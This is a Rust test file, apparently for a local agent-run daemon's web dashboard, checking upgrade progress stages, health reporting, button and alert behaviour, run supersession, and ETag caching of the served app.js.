7571 .as_str()
7572 .expect("waiting_on is set while parking a known run");
7573 assert!(waiting_on.contains("cd51"), "{waiting_on}");
7574 assert!(waiting_on.contains("implementing"), "{waiting_on}");
7575 }
7576
7577 #[tokio::test]
7578 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
7579 let fx = Fixture::start().await;
7580 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7581 progress.advance(crate::updater::Stage::Done);
7582 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
7583
7584 let health = fx.get("/api/health").await.json();
7585 assert_eq!(health["upgrade"]["stage"], "done");
7586 assert!(
7587 health["upgrade"]["waiting_on"].is_null(),
7588 "nothing to wait on once it is done"
7589 );
7590 }
7591
7592 #[tokio::test]
7593 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
7594 let home = TempDir::new().expect("temp home");
7595 let runs = home.path().join("runs");
7596 std::fs::create_dir_all(&runs).expect("runs dir");
7597 let ui = Ui::new(
7598 Queue::at(home.path().join("queue")),
7599 Questions::at(home.path().join("questions")),
7600 Talks::at(home.path().join("talks")),
7601 runs,
7602 home.path().to_path_buf(),
7603 PathBuf::from("/repo/magi"),
7604 )
7605 .with_launch(launch_idle);
7606 let looping = ui.looping();
7607 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7608 .await
7609 .expect("bind loopback");
7610 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7611
7612 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7613 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
7614
7615 hand_over(home.path(), &looping, served, || Ok(()))
7616 .await
7617 .expect("hand over");
7618
7619 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
7620 assert_eq!(
7621 after.stage,
7622 crate::updater::Stage::Restarting,
7623 "hand_over owns the record through parking and up to restarting; \
7624 the successor is what finishes it"
7625 );
7626 }
7627
7628 #[test]
7629 fn the_upgrade_button_arms_before_it_restarts_anything() {
7630 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
7633 assert!(APP_JS.contains("Replace the binary and restart?"));
7634 assert!(APP_JS.contains("function confirmed("));
7635 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
7640 assert!(
7644 APP_JS.contains("Parking, then restarting"),
7645 "the button says what it is waiting for"
7646 );
7647 assert!(APP_JS.contains("if (!out.to)"));
7650 }
7651
7652 #[test]
7653 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
7654 assert!(
7655 APP_JS.contains("state.health.version"),
7656 "the operator wants to know what is running even with nothing newer"
7657 );
7658 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
7659 }
7660
7661 #[test]
7662 fn the_upgrade_button_names_its_destination() {
7663 assert!(
7664 APP_JS.contains("`Update to ${update.to}`"),
7665 "pressing the button should not be a surprise about what it moves to"
7666 );
7667 }
7668
7669 #[test]
7670 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
7671 for stage in ["downloading", "replaced", "parking", "restarting"] {
7672 assert!(
7673 APP_JS.contains(&format!("\"{stage}\"")),
7674 "the phone must be able to tell {stage} apart from the others"
7675 );
7676 }
7677 assert!(APP_JS.contains(".waiting_on"));
7678 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
7683 assert!(APP_JS.contains("reconnects on its own"));
7684 }
7685
7686 #[test]
7687 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
7688 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
7697 ..APP_JS.find("function upgrade(").expect("upgrade")];
7698 assert!(
7699 !body.contains(
7700 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
7701 ),
7702 "a failed upgrade must not take the whole strip over the way it used to"
7703 );
7704 assert!(
7705 body.contains("upgradeFailNote"),
7706 "the failure has to reach the loop's own note instead"
7707 );
7708 assert_eq!(
7712 body.matches("upgradeFailNote].filter(Boolean).join")
7713 .count(),
7714 2,
7715 "both loop-why writers (quiet and control) must fold the note in"
7716 );
7717 }
7718
7719 #[test]
7720 fn an_overdue_upgrade_eventually_asks_for_a_human() {
7721 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
7724 assert!(APP_JS.contains("function upgradeOverdue("));
7725 }
7726
7727 #[test]
7728 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
7729 assert!(
7730 APP_JS.contains("Updated to ${upgradeInfo.to"),
7731 "the operator who asked for the restart wants to know it worked"
7732 );
7733 }
7734
7735 #[test]
7736 fn an_error_is_visible_from_where_the_button_is() {
7737 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
7742 ..APP_CSS.find(".alert-text").expect(".alert-text")];
7743 assert!(
7744 alert.contains("position: fixed"),
7745 "an error about the thing under your thumb has to be visible from \
7746 where your thumb is: {alert}"
7747 );
7748 assert!(
7749 alert.contains("z-index: 25"),
7750 "above the dock (20) and the run-actions FAB (15), so neither \
7751 buries it: {alert}"
7752 );
7753 assert!(
7754 alert.contains("var(--tap)"),
7755 "and clear of the dock and the home indicator: {alert}"
7756 );
7757 assert!(
7760 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
7761 "the FAB's column stays free: {alert}"
7762 );
7763 }
7764
7765 #[tokio::test]
7766 async fn an_older_attempt_says_what_replaced_it() {
7767 let fx = Fixture::start().await;
7768 let q = fx.queue();
7769 let runs = fx.runs();
7770 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
7771 write_run(&runs, first, RunStatus::Stalled);
7772 write_run(&runs, second, RunStatus::Blocked);
7773
7774 let mut t = Task::new(
7775 "one task".to_owned(),
7776 "do it".to_owned(),
7777 PathBuf::from("/repo"),
7778 Source::Human,
7779 );
7780 t.runs = vec![first.to_owned(), second.to_owned()];
7781 q.put(&mut t).expect("put");
7782
7783 let rows = fx.get("/api/runs").await.json();
7787 let by = |short: &str| -> Value {
7788 rows.as_array()
7789 .unwrap()
7790 .iter()
7791 .find(|r| r["short"] == short)
7792 .cloned()
7793 .unwrap_or(Value::Null)
7794 };
7795 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
7796 assert!(
7797 by("bbbb")["superseded_by"].is_null(),
7798 "the latest attempt is not superseded by anything"
7799 );
7800 assert!(APP_JS.contains("run.superseded_by"));
7802 assert!(APP_JS.contains("Superseded by"));
7803 }
7804
7805 #[tokio::test]
7806 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
7807 let fx = Fixture::start().await;
7808 let js = fx.get("/app.js").await;
7814 assert_eq!(js.status, 200);
7815 let tag = js
7816 .header("etag")
7817 .expect("an etag to revalidate against")
7818 .to_owned();
7819 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
7820 assert_eq!(
7821 js.header("cache-control"),
7822 Some("no-cache, must-revalidate"),
7823 "the phone has to ask every time"
7824 );
7825
7826 let again = fx
7829 .get_with("/app.js", &[("if-none-match", tag.as_str())])
7830 .await;
7831 assert_eq!(
7832 again.status, 304,
7833 "a deck it already has costs one round trip"
7834 );
7835 assert!(again.body.is_empty(), "304 carries no body");
7836
7837 let weak = fx
7840 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
7841 .await;
7842 assert_eq!(weak.status, 304);
7843 let stale = fx
7844 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
7845 .await;
7846 assert_eq!(stale.status, 200, "an older build must be replaced");
7847 assert!(stale.body.contains("renderRunActions"));
7848 }
7849
7850 #[test]
7851 fn the_deck_never_sends_the_operator_to_a_terminal() {
7852 assert!(
7855 !APP_JS.contains("Run `magi fold` first"),
7856 "the deck must offer the fold, not prescribe a shell command"
7857 );
7858 assert!(APP_JS.contains("foldRun:"));
7859 assert!(APP_JS.contains("resumeRun:"));
7860 assert!(APP_JS.contains("renderRunActions"));
7861
7862 assert!(APP_JS.contains("armedFold"));
7864 assert!(APP_JS.contains("Yes, fold worktrees"));
7865
7866 assert!(APP_JS.contains("can no longer be resumed"));
7869 }
7870
7871 #[test]
7872 fn a_finished_run_explains_itself_with_its_own_last_line() {
7873 assert!(
7879 !APP_JS.contains("collapsed on agent quota"),
7880 "a stall must not be explained by a cause the deck did not check"
7881 );
7882 assert!(
7883 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
7884 "and a block must not offer a guess with an `or` in it"
7885 );
7886
7887 assert!(
7891 APP_JS.contains("setText(r.event, run.event || \"\")"),
7892 "the run's last line is rendered unconditionally"
7893 );
7894 assert!(
7895 !APP_JS.contains("moving && run.event"),
7896 "and never gated on the run still moving"
7897 );
7898
7899 assert!(APP_JS.contains("lost to quota"));
7901 }
7902}